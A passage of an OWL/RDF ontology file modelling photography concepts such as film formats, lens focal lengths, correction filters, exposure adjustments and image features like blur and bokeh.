<owl:DatatypeProperty rdf:about="#hasExposure">
<rdfs:comment
>light intensity x time</rdfs:comment>
</owl:DatatypeProperty>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasFStop -->
<owl:DatatypeProperty rdf:about="#hasFStop"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasFixedEffectiveFocalLength -->
<owl:DatatypeProperty rdf:about="#hasFixedEffectiveFocalLength">
<rdfs:comment
>This is the effective focal length (ie once the film/sensor size has been taken into account).
Normalise to mm.</rdfs:comment>
</owl:DatatypeProperty>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasMaxEffectiveFocalLength -->
<owl:DatatypeProperty rdf:about="#hasMaxEffectiveFocalLength"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasMinEffectiveFocalLength -->
<owl:DatatypeProperty rdf:about="#hasMinEffectiveFocalLength"/>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasMinimumFocalDistance -->
<owl:DatatypeProperty rdf:about="#hasMinimumFocalDistance">
<rdfs:comment>Normalise to mm</rdfs:comment>
</owl:DatatypeProperty>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#hasSensitivity -->
<owl:DatatypeProperty rdf:about="#hasSensitivity">
<rdfs:comment
>ISO50 to ISO32,000 ish</rdfs:comment>
</owl:DatatypeProperty>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#height -->
<owl:DatatypeProperty rdf:about="#height">
<rdfs:comment>normalise to mm</rdfs:comment>
<rdfs:comment
>Should this be a measurement? - ie an ObjectProperty</rdfs:comment>
</owl:DatatypeProperty>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#width -->
<owl:DatatypeProperty rdf:about="#width">
<rdfs:comment>normalise to mm</rdfs:comment>
<rdfs:comment
>Should this be a measurement? - ie an ObjectProperty</rdfs:comment>
</owl:DatatypeProperty>
<!--
///////////////////////////////////////////////////////////////////////////////////////
//
// Classes
//
///////////////////////////////////////////////////////////////////////////////////////
-->
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#120RollFilm -->
<owl:Class rdf:about="#120RollFilm">
<rdfs:subClassOf rdf:resource="#Film"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFormat"/>
<owl:someValuesFrom>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Format"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#height"/>
<owl:hasValue rdf:datatype="&xsd;integer">60</owl:hasValue>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#width"/>
<owl:hasValue rdf:datatype="&xsd;integer">60</owl:hasValue>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:someValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#135Film -->
<owl:Class rdf:about="#135Film">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Film"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFormat"/>
<owl:someValuesFrom rdf:resource="#35mm"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#18mm -->
<owl:Class rdf:about="#18mm">
<rdfs:subClassOf rdf:resource="#TestLens"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFixedEffectiveFocalLength"/>
<owl:hasValue rdf:datatype="&xsd;integer">18</owl:hasValue>
</owl:Restriction>
</rdfs:subClassOf>
<test rdf:datatype="&xsd;boolean">true</test>
<rdfs:comment
>Should classify as a wideangle prime</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#20-100mm -->
<owl:Class rdf:about="#20-100mm">
<rdfs:subClassOf rdf:resource="#TestLens"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMinEffectiveFocalLength"/>
<owl:hasValue rdf:datatype="&xsd;integer">20</owl:hasValue>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMaxEffectiveFocalLength"/>
<owl:hasValue rdf:datatype="&xsd;integer">100</owl:hasValue>
</owl:Restriction>
</rdfs:subClassOf>
<test rdf:datatype="&xsd;boolean">true</test>
<rdfs:comment
>Should classify as a wide through normal to telephoto zoom</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#35-55mm -->
<owl:Class rdf:about="#35-55mm">
<rdfs:subClassOf rdf:resource="#TestLens"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMaxEffectiveFocalLength"/>
<owl:hasValue rdf:datatype="&xsd;integer">55</owl:hasValue>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMinEffectiveFocalLength"/>
<owl:hasValue rdf:datatype="&xsd;integer">35</owl:hasValue>
</owl:Restriction>
</rdfs:subClassOf>
<test rdf:datatype="&xsd;boolean">true</test>
<rdfs:comment
>Should classify as a normal zoom</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#35mm -->
<owl:Class rdf:about="#35mm">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Format"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#height"/>
<owl:hasValue rdf:datatype="&xsd;integer">24</owl:hasValue>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#width"/>
<owl:hasValue rdf:datatype="&xsd;integer">36</owl:hasValue>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#4x5inFilm -->
<owl:Class rdf:about="#4x5inFilm">
<rdfs:subClassOf rdf:resource="#Film"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFormat"/>
<owl:someValuesFrom>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Format"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#height"/>
<owl:hasValue rdf:datatype="&xsd;integer">127</owl:hasValue>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#width"/>
<owl:hasValue rdf:datatype="&xsd;integer">101</owl:hasValue>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:someValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#80a -->
<owl:Class rdf:about="#80a">
<rdfs:subClassOf rdf:resource="#CorrectionFilter"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#Cool"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:comment
>An 80a makes the image cooler.
There should possibly be an axiom somewhere to state that and increase in cool implies a decrease in warm (and vice-versa).</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#APS -->
<owl:Class rdf:about="#APS">
<rdfs:subClassOf rdf:resource="#Film"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFormat"/>
<owl:someValuesFrom>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Format"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#height"/>
<owl:hasValue rdf:datatype="&xsd;integer">17</owl:hasValue>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#width"/>
<owl:hasValue rdf:datatype="&xsd;integer">30</owl:hasValue>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:someValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:comment
>Actually 3 formats, but have stated the largest (in "High Definition" mode)</rdfs:comment>
<synonym
>Advanced Photo System</synonym>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Action -->
<owl:Class rdf:about="#Action">
<rdfs:subClassOf rdf:resource="#PhotographicSubject"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Adjustment -->
<owl:Class rdf:about="#Adjustment">
<rdfs:subClassOf rdf:resource="&owl;Thing"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#AntiShake -->
<owl:Class rdf:about="#AntiShake">
<rdfs:subClassOf rdf:resource="#CameraFeature"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#CameraShake"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#AntiShakeCamera -->
<owl:Class rdf:about="#AntiShakeCamera">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Camera"/>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFeature"/>
<owl:someValuesFrom rdf:resource="#AntiShake"/>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasLens"/>
<owl:someValuesFrom>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Lens"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFeature"/>
<owl:someValuesFrom rdf:resource="#AntiShake"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:someValuesFrom>
</owl:Restriction>
</owl:unionOf>
</owl:Class>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:comment
>A camera that has antishake builtin or in its lens.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Aperture -->
<owl:Class rdf:about="#Aperture">
<rdfs:subClassOf rdf:resource="#ExposureParameter"/>
<rdfs:comment
>The size of the hole through which light passes when an image is captured.
This is one of the three main elements controlling exposure in a camera - the others being shutter speed and ISO.
We could say something about optimal aperture for clarity, but this really depends on the manufacture of the lens.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#AutoFocus -->
<owl:Class rdf:about="#AutoFocus">
<rdfs:subClassOf rdf:resource="#FocusMode"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#AverageMetering -->
<owl:Class rdf:about="#AverageMetering">
<rdfs:subClassOf rdf:resource="#MeteringMode"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#BadBoca -->
<owl:Class rdf:about="#BadBoca">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Boca"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasShape"/>
<owl:someValuesFrom rdf:resource="#Polygon"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Barrelling -->
<owl:Class rdf:about="#Barrelling">
<rdfs:subClassOf rdf:resource="#Distortion"/>
<owl:disjointWith rdf:resource="#Pincushioning"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#BlackAndWhiteFilm -->
<owl:Class rdf:about="#BlackAndWhiteFilm">
<rdfs:subClassOf rdf:resource="#Film"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Blur -->
<owl:Class rdf:about="#Blur">
<rdfs:subClassOf rdf:resource="#ImageFeature"/>
<rdfs:comment
>Softness in an image because of multiple reasons, including poor quality optics/media.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Boca -->
<owl:Class rdf:about="#Boca">
<rdfs:subClassOf rdf:resource="#ImageFeature"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasShape"/>
<owl:someValuesFrom rdf:resource="#Shape"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:comment
>The name given to the shape of points of light in the unfocused area of an image.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#CCD -->
<owl:Class rdf:about="#CCD">
<rdfs:subClassOf rdf:resource="#ElectronicSensor"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#CMOS -->
<owl:Class rdf:about="#CMOS">
<rdfs:subClassOf rdf:resource="#ElectronicSensor"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Camera -->
<owl:Class rdf:about="#Camera">
<rdfs:subClassOf rdf:resource="#Equipment"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasSensitiveMedia"/>
<owl:someValuesFrom rdf:resource="#LightSensitiveMedia"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasAperture"/>
<owl:someValuesFrom rdf:resource="#Aperture"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasShutterSpeed"/>
<owl:someValuesFrom rdf:resource="#ShutterSpeed"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFeature"/>
<owl:someValuesFrom rdf:resource="#CameraFeature"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#CameraFeature -->
<owl:Class rdf:about="#CameraFeature">
<rdfs:subClassOf rdf:resource="&owl;Thing"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#CameraShake -->
<owl:Class rdf:about="#CameraShake">
<rdfs:subClassOf rdf:resource="#MotionBlur"/>
<rdfs:comment
>Blur caused by the movement of the camera (as opposed to the subject). Hand-holding in poor light is a common cause of softness in images.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#CameraWithMirrorLockup -->
<owl:Class rdf:about="#CameraWithMirrorLockup">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Camera"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFeature"/>
<owl:someValuesFrom rdf:resource="#MirrorLockup"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf rdf:resource="#SLR"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#CentreWeightedMetering -->
<owl:Class rdf:about="#CentreWeightedMetering">
<rdfs:subClassOf rdf:resource="#MeteringMode"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ChromaticAberration -->
<owl:Class rdf:about="#ChromaticAberration">
<rdfs:subClassOf rdf:resource="#ImageFeature"/>
<rdfs:comment
>A visual artefact. Classically appears as a misalignment of different colours in an image, most noticeable at high contrast edges - one of the causes of "fringing". Caused by weaknesses in the lens design.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Circle -->
<owl:Class rdf:about="#Circle">
<rdfs:subClassOf rdf:resource="#Shape"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#CloseDownAperture -->
<owl:Class rdf:about="#CloseDownAperture">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#Aperture"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Aperture"/>
<rdf:Description rdf:about="#ExposureLevel"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Aperture"/>
<rdf:Description rdf:about="#DepthOfField"/>
<rdf:Description rdf:about="#ExposureLevel"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#DepthOfField"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:allValuesFrom rdf:resource="#DepthOfField"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ClosestSubject -->
<owl:Class rdf:about="#ClosestSubject">
<rdfs:subClassOf rdf:resource="#AutoFocus"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ColourBalance -->
<owl:Class rdf:about="#ColourBalance">
<rdfs:subClassOf rdf:resource="#ColourCast"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ColourCast -->
<owl:Class rdf:about="#ColourCast">
<rdfs:subClassOf rdf:resource="#ImageFeature"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ColourFilm -->
<owl:Class rdf:about="#ColourFilm">
<rdfs:subClassOf rdf:resource="#Film"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Composition -->
<owl:Class rdf:about="#Composition">
<rdfs:subClassOf rdf:resource="#ImageFeature"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#CompositionalAdjustment -->
<owl:Class rdf:about="#CompositionalAdjustment">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:someValuesFrom rdf:resource="#CompositionalParameter"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:someValuesFrom rdf:resource="#Composition"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#CompositionalParameter -->
<owl:Class rdf:about="#CompositionalParameter">
<rdfs:subClassOf rdf:resource="#Parameter"/>
<rdfs:comment
>Parameters that affect the composition of the image.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Conditions -->
<owl:Class rdf:about="#Conditions">
<rdfs:subClassOf rdf:resource="&owl;Thing"/>
<rdfs:comment
>We want to be able to state information in an increasing number of scenarios about what equipment to use and which adjustments to make.
Unfortunately, we end up with the common problem of wanting to ask the question in the other direction.
"What equipment and adjustments are suitable for Scenario X?"</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ContinuousAF -->
<owl:Class rdf:about="#ContinuousAF">
<rdfs:subClassOf rdf:resource="#AutoFocus"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Contrast -->
<owl:Class rdf:about="#Contrast">
<rdfs:subClassOf rdf:resource="#ImageFeature"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ConversionFilter -->
<owl:Class rdf:about="#ConversionFilter">
<rdfs:subClassOf rdf:resource="#Filter"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:someValuesFrom rdf:resource="#ColourCast"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:comment
>Strong coloured filters used for black and white photography.
eg a yellow filter is used to darken a blue sky.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Cool -->
<owl:Class rdf:about="#Cool">
<rdfs:subClassOf rdf:resource="#ColourBalance"/>
<owl:disjointWith rdf:resource="#Warm"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#CorrectionFilter -->
<owl:Class rdf:about="#CorrectionFilter">
<rdfs:subClassOf rdf:resource="#Filter"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:someValuesFrom rdf:resource="#ColourBalance"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:comment
>Used to alter the colour temperature of the light.
Even numbers are cool (blue).
Odd numbers are warm (orange).
The higher the letter, the stronger the effect (each letter double the strength of the previous).</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#DarkLocation -->
<owl:Class rdf:about="#DarkLocation">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Conditions"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasParameter"/>
<owl:someValuesFrom>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#LightIntensity"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasLevel"/>
<owl:someValuesFrom rdf:resource="#Low"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#requires"/>
<owl:someValuesFrom>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:someValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Daylight -->
<owl:Class rdf:about="#Daylight">
<rdfs:subClassOf rdf:resource="#LightType"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasColourTemperature"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:minExclusive rdf:datatype="&xsd;integer">5000</xsd:minExclusive>
<xsd:maxExclusive rdf:datatype="&xsd;integer">6000</xsd:maxExclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:comment
>Same temperature as flash (roughly)</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#DecreaseShutterSpeed -->
<owl:Class rdf:about="#DecreaseShutterSpeed">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#ShutterSpeed"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:allValuesFrom rdf:resource="#ShutterSpeed"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#ExposureLevel"/>
<rdf:Description rdf:about="#MotionBlur"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#MotionBlur"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#ExposureLevel"/>
<rdf:Description rdf:about="#MotionBlur"/>
<rdf:Description rdf:about="#ShutterSpeed"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#DepthOfField -->
<owl:Class rdf:about="#DepthOfField">
<rdfs:subClassOf rdf:resource="#ImageFeature"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#DistanceToSubject -->
<owl:Class rdf:about="#DistanceToSubject">
<rdfs:subClassOf rdf:resource="#CompositionalParameter"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Distortion -->
<owl:Class rdf:about="#Distortion">
<rdfs:subClassOf rdf:resource="#ImageFeature"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Documentary -->
<owl:Class rdf:about="#Documentary">
<rdfs:subClassOf rdf:resource="#PhotographicSubject"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Donut -->
<owl:Class rdf:about="#Donut">
<rdfs:subClassOf rdf:resource="#Shape"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ElectronicSensor -->
<owl:Class rdf:about="#ElectronicSensor">
<rdfs:subClassOf rdf:resource="#LightSensitiveMedia"/>
<owl:disjointWith rdf:resource="#Film"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Equipment -->
<owl:Class rdf:about="#Equipment">
<rdfs:subClassOf rdf:resource="#PhysicalThing"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ExposureAdjustment -->
<owl:Class rdf:about="#ExposureAdjustment">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:someValuesFrom rdf:resource="#ExposureParameter"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:comment
>Any adjustment that affects the exposure</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ExposureDecreasingAdjustment -->
<owl:Class rdf:about="#ExposureDecreasingAdjustment">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#allows"/>
<owl:someValuesFrom rdf:resource="#OpenUpAperture"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#allows"/>
<owl:someValuesFrom rdf:resource="#DecreaseShutterSpeed"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Class>
<owl:complementOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#isSuitableFor"/>
<owl:someValuesFrom rdf:resource="#DarkLocation"/>
</owl:Restriction>
</owl:complementOf>
</owl:Class>
</rdfs:subClassOf>
<rdfs:comment
>Anything that reduces the exposure allows us to make further adjustments.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ExposureIncreasingAdjustment -->
<owl:Class rdf:about="#ExposureIncreasingAdjustment">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#allows"/>
<owl:someValuesFrom rdf:resource="#CloseDownAperture"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#allows"/>
<owl:someValuesFrom rdf:resource="#IncreaseShutterSpeed"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#isSuitableFor"/>
<owl:someValuesFrom rdf:resource="#DarkLocation"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:comment
>Anything that increases the exposure allows us to make further adjustments.</rdfs:comment>
</owl:Class>
